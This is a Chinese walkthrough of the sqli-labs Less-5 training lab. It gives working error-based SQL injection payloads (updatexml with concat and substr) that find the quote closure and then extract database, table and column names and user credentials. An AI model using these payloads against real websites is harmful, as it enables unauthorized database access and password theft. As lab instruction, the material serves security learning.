SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
Cedric_Anik14 分钟前
MYSQL数据库基础篇——DDL
数据库·mysql
文牧之14 分钟前
PostgreSQL的walsender和walreceiver进程介绍
运维·数据库·postgresql
爬山算法17 分钟前
Oracle(121)如何进行数据文件的恢复?
数据库·oracle
咔咔学姐kk20 分钟前
2024最新版,人大赵鑫老师《大语言模型》新书pdf分享
数据库·人工智能·语言模型·自然语言处理·pdf·知识图谱·产品经理
青云交1 小时前
大数据新视界 --大数据大厂之MongoDB与大数据:灵活文档数据库的应用场景
大数据·数据库·mongodb·非关系型数据库·文档存储·查询功能、数据处理·开发效率、应用场景、高可扩展性
青云交1 小时前
大数据新视界 --大数据大厂之HBase深度探寻:大规模数据存储与查询的卓越方案
大数据·数据库·hbase·数据存储·性能优势、问题解决、应用领域·可扩展性、高可靠性·读写性能、集群管理
茜茜西西CeCe1 小时前
大数据处理技术:HBase的安装与基本操作
java·大数据·数据库·hbase·头歌·大数据处理技术
网安詹姆斯1 小时前
网络安全(黑客技术)2024年三个月自学手册
网络·python·sql·安全·web安全
shangan_32 小时前
黑马十天精通MySQL知识点
数据库·mysql
Jasonakeke2 小时前
【重学 MySQL】三十一、字符串函数
数据库·mysql